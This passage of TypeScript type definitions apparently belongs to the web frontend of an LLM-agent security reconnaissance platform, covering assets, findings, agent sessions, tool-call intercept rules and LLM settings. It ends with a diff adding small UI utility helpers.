goal: string;
status: TaskStatus;
created_at: string;
created_unix?: number; // created_at as unix seconds (run-duration calc)
completed_at?: string; // RFC3339 finish time (done/failed); "" if unfinished
completed_unix?: number; // completed_at as unix seconds (0/undef if unfinished)
last_activity_unix?: number; // unix seconds of the last activity (0/undef if none)
paused?: boolean;
active?: boolean;
in_flight?: number;
last_activity?: string;
stalled?: boolean;
goals_total?: number;
goals_met?: number;
engine_mode?: EngineMode;
tokens?: TokenTotal; // whole-task token consumption
llm_profile_id?: number; // LLM profile used; absent = default profile
}
// ---- Asset graph (global, shared across tasks) ----
export type AssetType =
| "company"
| "domain"
| "ip"
| "port"
| "service"
| "site"
| "endpoint"
| "parameter"
| "tech"
| "credential"
| "data";
export type NodeState = "observed" | "confirmed" | "tombstoned";
export interface AssetNode {
id: string;
type: AssetType;
name: string;
key: string; // nkey
value?: string;
company_id?: string; // 归属公司资产 id;空=未归属
state: NodeState;
confidence: number; // 0..1
attrs?: Record<string, unknown>;
first_seen: string;
last_seen: string;
}
export type AssetRel =
| "owns"
| "resolves"
| "exposes"
| "runs"
| "serves"
| "has_endpoint"
| "has_param"
| "fingerprinted"
| "authenticates_as"
| "reachable"
| "has_subdomain";
export interface Edge {
src: string;
dst: string;
rel: AssetRel | ExploreRel;
}
// Task asset view — server-side enriched, paginated.
export interface TaskAssetRef {
id: string;
name?: string;
key: string;
attrs?: Record<string, unknown>;
}
export interface TaskAssetItem extends AssetNode {
techs?: TaskAssetRef[];
auth?: TaskAssetRef[];
params?: TaskAssetRef[];
}
export interface TaskAssetView {
counts: Record<string, number>;
total: number;
items: TaskAssetItem[];
}
// ---- New unified asset model (new backend) ----
export type NewAssetType = "root_domain" | "ip" | "subdomain" | "app" | "service" | "endpoint";
export interface Asset {
id: number;
type: NewAssetType;
company_id?: number;
task_ids: number[];
domain?: string;
root_domain?: string;
ip?: string;
c_segment?: string;
port?: number;
icp?: string;
bound_domains?: string[];
open_ports?: { port: number; service?: string }[];
record_type?: string;
record_value?: string[] | string;
bundle_id?: string;
app_name?: string;
category?: string;
app_description?: string;
app_icp?: string;
url?: string;
service_type?: string;
service_name?: string;
favicon_mmh3?: string;
status_code?: number;
content_length?: number;
page_title?: string;
technologies?: string[];
auth?: Record<string, unknown>[];
method?: string;
params?: Record<string, unknown>[];
extra?: Record<string, unknown>;
last_seen: string;
}
// 公司资产范围规则的一条(归属唯一真值来源)。
export interface ScopeRow {
id: number;
company_id: number;
kind: "domain" | "ip" | "cidr";
domain?: string; // kind=domain 时有值
net?: string; // kind=ip|cidr 时有值
raw: string; // 原始用户输入,用于显示和回填
reason?: string;
}
// 企业:type=company 的资产节点 + 图标 + 资产计数 + 资产范围规则。
export interface Company {
id: number;
name: string;
logo?: string; // 远程图标 URL;空则前端用名称首字母
asset_count: number;
scope: ScopeRow[];
}
// ---- Exploration graph (per task) ----
export type ExploreKind = "task" | "begin" | "goal" | "intent" | "fact" | "finding" | "hint";
export type GoalState = "open" | "met" | "abandoned";
export type IntentState = "open" | "running" | "done" | "blocked" | "exhausted" | "stopped";
export type FindingState = "confirmed" | "dismissed";
export type HintState = "active" | "consumed";
export type ExploreRel = "spawns" | "derived_from" | "yields" | "proves";
export interface TaskNode {
id: string;
type: ExploreKind;
payload?: string;
priority: number; // 0..10
state: string; // GoalState | IntentState | FindingState | HintState
origin: string;
ts: string;
}
// ---- Findings ----
export type Severity = "high" | "medium" | "low";
export interface Finding {
id: string;
vulnclass: string;
severity: Severity;
summary: string;
evidence: string;
intent_id?: string;
param_id?: string;
task_id?: string;
task_description?: string;
ts: string;
}
// ---- Activity / sessions ----
export type ActivityKind =
| "tool_use"
| "tool_result"
| "text"
| "thinking"
| "result"
| "user"
| "intent" // LLM-generated exploration objective leading a worker session (UI-synthesized)
| "round" // planner round boundary marker (engine-emitted)
| "usage" // live cumulative token usage (per model turn); not rendered
| "intercept_request"; // user-approval request from the intercept layer
export interface Activity {
seq: number;
intent_id?: string;
worker: string; // session owner: planner | mainagent | work#1 ...
ts: string;
kind: ActivityKind;
tool?: string;
tool_use_id?: string;
is_error?: boolean;
summary: string;
detail?: string;
// token usage (present only on kind='result')
input_tokens?: number;
output_tokens?: number;
cache_read_tokens?: number;
cache_write_tokens?: number;
}
// ---- Agent triggers (P3 调度,仅自定义 agent) ----
export interface AgentTrigger {
id: number;
agent_key: string;
enabled: boolean;
interval_sec: number; // 定时:每 N 秒(0=不定时)
on_finding: boolean; // 任意任务发现 finding 时触发
on_goal_met: boolean; // 任意任务达成目标时触发
on_task_timeout: boolean; // 任意任务超时时触发
interval_message: string; // 各触发条件的独立用户消息
finding_message: string;
goal_message: string;
task_timeout_message: string;
last_fire?: string;
}
// ---- Conversations (chat page) ----
export interface Conversation {
id: number;
agent_key: string;
title: string;
llm_profile_id?: number;
created_at: string;
updated_at: string;
}
// ---- Backend logs (/logs page) ----
export interface LogLine {
seq: number;
db_id?: number; // server_logs.id; present for DB-persisted lines
ts: string;
level: "info" | "warn" | "error";
tag: string;
text: string;
}
export type SessionRole = "mainagent" | "planner" | "worker";
export type SessionStatus = "running" | "done" | "blocked" | "exhausted" | "pending" | "stopped";
// Daily token aggregate bucket (GET /api/tokens/daily).
export interface DailyTokenBucket {
date: string; // "YYYY-MM-DD"
input_tokens: number;
output_tokens: number;
cache_read_tokens: number;
cache_write_tokens: number;
}
// Per-worker token usage (GET /api/exploration/tokens).
export interface TokenUsage {
worker: string;
input_tokens: number;
output_tokens: number;
cache_read_tokens: number;
cache_write_tokens: number;
}
// Whole-task (all agents) token aggregate.
export interface TokenTotal {
input_tokens: number;
output_tokens: number;
cache_read_tokens: number;
cache_write_tokens: number;
}
export interface Session {
id: string;
role: SessionRole;
title: string;
status: SessionStatus;
live: boolean;
last_activity: string;
intent_id?: string;
}
// ---- Security ----
export interface AuditEntry {
ts: string;
tool: string;
action: "allow" | "block";
reason?: string;
command?: string;
}
export interface Audit {
entries?: AuditEntry[];
attributions?: Record<string, number>;
}
// ---- Traffic ----
export interface TrafficExchange {
id: string;
ts: string;
host: string;
method: string;
url: string;
status: number;
content_type: string;
resp_len: number;
}
export interface TrafficResp {
enabled: boolean;
proxy?: string;
count?: number; // global total (unfiltered)
total?: number; // rows matching the current filter (for pagination)
page?: number;
size?: number;
exchanges?: TrafficExchange[];
}
// Full raw request/response of one exchange (lazy-loaded on row select).
export interface TrafficDetail {
req: string;
resp: string;
}
// ---- App settings (runtime toggles) ----
export interface Settings {
traffic_capture: boolean;
// Web search. brave_key_set / tavily_key_set reflect whether a key is stored
// (the values are never returned). On PUT, send the corresponding field to set/clear.
web_search_enabled: boolean;
web_search_backend: string; // "ddgs" | "brave-free" | "tavily"
brave_key_set: boolean;
tavily_key_set: boolean;
// write-only: only sent on PUT to store/clear the key.
brave_search_api_key?: string;
tavily_search_api_key?: string;
// 独立出口代理(http/https/socks5),用于访问搜索端点;与记录流量的 MITM 代理无关。空=直连。
web_search_proxy?: string;
python_interpreter?: string; // 自定义脚本工具的 python 解释器路径(空=运行时检测)
workers?: number; // 并发工作 agent 数(默认3);对之后启动的任务生效
}
// ---- LLM config ----
export interface LLMProfile {
id: string;
name: string;
format: "openai" | "anthropic";
base_url?: string;
proxy?: string;
model: string;
api_key_hint?: string;
rate_per_second: number;
rate_per_minute: number;
context_window_k?: number;
// 思考模式: ""=默认(不发送) | "off"=关闭 | "low"/"medium"/"high"/"max"=开启并设强度
reasoning_effort?: string;
is_default: boolean;
}
// ---- Agents ----
export interface Agent {
id: string;
key: string; // 内置为 goals/planner/mainagent/worker;自定义为用户自定 key
name: string;
description?: string;
role: string;
builtin: boolean;
enabled: boolean;
max_turns?: number; // 0 = 无限制
run_seconds?: number; // worker 单次运行墙钟上限(秒);0 = 无限制
web_search?: boolean; // 是否启用网络搜索(受系统全局开关门控)
interactive_shell?: boolean; // 是否启用交互式 shell(持久 PTY 会话工具族)
// 绑定数量(仅列表接口返回):可见 MCP / 可见 Skill / 绑定工具
mcp_count?: number;
skill_count?: number;
tool_count?: number;
}
export interface PromptVar {
name: string;
description: string;
example: string;
source: "exploration" | "runtime" | "distilled";
}
export interface PromptVersion {
version: number;
ts: string;
note: string;
template_text: string;
}
export interface AgentDetail {
agent: Agent;
prompt: string;
variables: PromptVar[];
versions: PromptVersion[];
visibility: { mcp: number[]; skill: string[] };
wrapup_prompt?: string; // 已保存的收尾提示词(空=用内置默认)
wrapup_default?: string; // 内置默认收尾提示词(占位/恢复默认)
wrapup_max_turns?: number; // 已保存的收尾轮数(0=用内置默认)
wrapup_max_turns_default?: number; // 内置默认收尾轮数(供 "0=默认N" 提示)
// 任务级超时收尾词(仅 worker/planner,task_timeout_wrapup_supported=true 时才显示该分区)
task_timeout_wrapup_supported?: boolean;
task_timeout_wrapup_prompt?: string;
task_timeout_wrapup_default?: string;
task_timeout_wrapup_max_turns?: number;
task_timeout_wrapup_max_turns_default?: number;
}
// ---- MCP ----
export interface MCPServer {
id: number;
name: string;
transport: "stdio" | "http";
command?: string;
args: string[];
env: Record<string, string>;
url?: string;
enabled: boolean;
tools?: string[]; // mcp_tools_cache (names only, for the count)
}
export interface MCPTool {
name: string;
description: string;
}
// ---- Skills ----
// Fields align with the agentskills.io open specification.
// description covers both "what the skill does" and "when to use it".
export interface SkillItem {
name: string; // unique key = directory name
description?: string; // required per spec; covers what + when to use
license?: string; // optional: SPDX identifier or free text
compatibility?: string; // optional: environment requirements
mcps?: string[]; // MCP server names this skill unlocks on load
files: string[]; // files in the skill directory
}
// ---- Tools (内置工具目录) ----
// key + handler live in Go; only these fields are page-editable. system tools lock
// the key and the parameter *structure* (name/type/required) — the per-param
// description/default and the agent binding are what move.
export interface Tool {
key: string;
system: boolean;
description: string;
// eslint-disable-next-line @typescript-eslint/no-explicit-any
schema: Record<string, any>; // full JSON-Schema (object with properties)
agents: string[]; // bound agent keys
enabled: boolean;
kind?: "builtin" | "shell" | "command" | "script" | "http"; // 自定义工具类型
// eslint-disable-next-line @typescript-eslint/no-explicit-any
exec?: Record<string, any>; // 自定义工具执行规格(kind!=builtin)
deferred?: boolean; // schema 延迟(SearchExtraTools/ExecuteExtraTool)
}
// ---- Stats ----
export interface Stats {
assets: number;
engine_mode: EngineMode;
llm_configured: boolean;
roe_enabled: boolean;
findings_confirmed: number;
}
// ---- Intercept Rules ----
export type InterceptAction = "allow" | "deny" | "ask";
export type InterceptMatchTarget = "tool_name" | "tool_input";
export type InterceptMatchType = "string" | "regex";
export interface InterceptRule {
id: number;
name: string;
enabled: boolean;
priority: number;
match_target: InterceptMatchTarget;
match_type: InterceptMatchType;
pattern: string;
action: InterceptAction;
message: string;
timeout_enabled: boolean;
timeout_seconds: number;
timeout_action: "deny" | "allow";
created_at: string;
updated_at: string;
}
export interface InterceptPending {
id: number;
rule_id?: number;
conversation_id?: number;
task_id?: string;
agent_name: string;
tool_name: string;
// eslint-disable-next-line @typescript-eslint/no-explicit-any
tool_input: Record<string, any>;
status: "pending" | "allowed" | "denied" | "timeout";
decided_at?: string;
created_at: string;
}
// InterceptApprovalRow enriches InterceptPending with conversation/task and rule context.
export interface InterceptApprovalRow extends InterceptPending {
conv_title: string; // "" if no linked conversation
conv_agent_key: string; // "" if no linked conversation
rule_name: string; // "" if rule was deleted
}
// ── 资产同步 (ScopeSentry 数据源) ──────────────────────────────────────────────
export interface SSProject {
id: string; // MongoDB ObjectID — used as filter.project
name: string;
logo?: string;
AssetCount?: number;
tag?: string;
}
export interface SSTask {
id: string;
name: string; // used as filter.task
status?: number;
progress?: number;
creatTime?: string;
endTime?: string;
}
// ConvTokenSummary — one conversation's token total (+ profile/date) for merging
// chat usage into the dashboard token stats. GET /api/tokens/conversations.
export interface ConvTokenSummary {
llm_profile_id: number | null;
created_at: string;
input_tokens: number;
output_tokens: number;
cache_read_tokens: number;
cache_write_tokens: number;
}
+42
View File
@@ -0,0 +1,42 @@
import { type ClassValue, clsx } from "clsx";
import { twMerge } from "tailwind-merge";
export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs));
}
export const getInitials = (str: string): string => {
if (typeof str !== "string" || !str.trim()) return "?";
return (
str
.trim()
.split(/\s+/)
.filter(Boolean)
.map((word) => word[0])
.join("")
.toUpperCase() || "?"
);
};
export function formatCurrency(
amount: number,
opts?: {
currency?: string;
locale?: string;
minimumFractionDigits?: number;
maximumFractionDigits?: number;
noDecimals?: boolean;
},
) {
const { currency = "USD", locale = "en-US", minimumFractionDigits, maximumFractionDigits, noDecimals } = opts ?? {};
const formatOptions: Intl.NumberFormatOptions = {
style: "currency",
currency,
minimumFractionDigits: noDecimals ? 0 : minimumFractionDigits,
maximumFractionDigits: noDecimals ? 0 : maximumFractionDigits,
};
return new Intl.NumberFormat(locale, formatOptions).format(amount);
}